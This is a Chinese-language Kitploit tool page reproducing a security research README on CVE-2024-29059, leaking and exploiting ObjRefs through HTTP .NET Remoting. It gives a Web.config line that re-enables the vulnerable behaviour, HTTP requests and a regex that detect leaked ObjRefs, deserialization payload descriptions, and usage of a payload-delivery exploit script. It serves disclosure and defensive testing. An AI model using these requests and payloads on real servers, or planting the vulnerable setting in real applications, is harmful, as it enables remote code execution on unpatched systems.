Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HttpRemotingObjRefLeak — 用于通过 HTTP .NET Remoting 泄露和利用 ObjRefs 的附加资源(CVE-2024-29059) | Kitploit
工具/GitHubGitHub/codewhitesec/httpremotingobjrefleak
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubcodewhitesec/httpremotingobjrefleak

HttpRemotingObjRefLeak

用于通过 HTTP .NET Remoting 泄露和利用 ObjRefs 的附加资源(CVE-2024-29059)

查看仓库
92142年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

通过 HTTP .NET Remoting 泄露和利用 ObjRef(CVE-2024-29059)

本仓库进一步提供了关于 CODE WHITE 同名博文 Leaking ObjRefs to Exploit HTTP .NET Remoting 的详细信息和资源:

  1. 创建易受攻击的 ASP.NET Web 应用程序
  2. 检测 ObjRef 泄漏
  3. 在 TypeFilterLevel.Low 限制下可工作的示例反序列化载荷
  4. 用于投递载荷的利用脚本

1. 创建易受攻击的 ASP.NET Web 应用程序

以下内容基于 Microsoft 的《为 ASP.NET 网站配置 Application Insights》,描述了如何使用 Visual Studio 2019(需要定位 .NET Framework 4.5.2,你仍可从 https://aka.ms/vs/16/release/vs_community.exe 下载)和 Microsoft Application Insights 创建易受攻击的 ASP.NET Web 应用程序:

  1. 打开 Visual Studio 2019。
  2. 选择 文件 > 新建 > 项目。
  3. 选择 ASP.NET Web 应用程序 (.NET Framework) C#,然后点击 下一步。
  4. 选择 .NET Framework 4.5.2,然后点击 创建。
  5. 选择 空,然后点击 创建。
  6. 选择 项目 > 添加 Application Insights 遥测。
  7. 选择 Application Insights SDK (本地),然后点击 下一步。
  8. 勾选 NuGet 包,然后点击 完成。

如果已安装 2024 年 1 月 .NET Framework 更新,请打开 Web.config 文件并在 /configuration/appSettings 下添加以下内容,以重新启用易受攻击的行为:

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

然后你可以通过 调试 > 开始执行(不调试) 或按 Ctrl+F5 运行 Web 应用程序。

2. 检测 ObjRef 泄漏

你可以使用以下请求来泄漏存储在 LogicalCallContext 中的 MarshalByRefObject 实例的 ObjRef:

  • BinaryServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

然后可以使用以下正则表达式匹配泄漏的 ObjRef URI:

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. 示例反序列化载荷

我们基于 YSoSerial.Net 的 TextFormattingRunProperties gadget 创建了两个简单的反序列化载荷,并搭配了自定义 XAML 载荷,这些载荷在 TypeFilterLevel.Low 造成的限制下可工作,以执行以下操作:

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

这些 HTTP 头部可在服务器对 HTTP .NET Remoting 请求的响应中观察到。

4. 利用脚本

RemoteApplicationMetadata.py 脚本提供了一种方式:先泄漏现有的 ObjRef,然后在后续请求中使用该 ObjRef 投递给定的载荷:

root@kitploit:~
用法:RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

位置参数:
  url                   目标 URL(不含 `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter 载荷文件(默认:标准输入)

选项:
  -h, --help            显示此帮助信息并退出
  -c, --chunked         对请求使用分块传输编码
  --chunk-range CHUNK_RANGE
                        从中随机选择块大小的范围,例如 1-10
  -e, --encoding        对 SOAP 应用随机的非 ASCII 编码
  -f {binary,soap}, --format {binary,soap}
                        目标运行时序列化格式(默认:soap)
  -u, --use-generic-uri 在载荷投递请求中也使用通用的 `RemoteApplicationMetadata.rem`
  -v, --verbose         打印详细信息

示例:

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
下载工具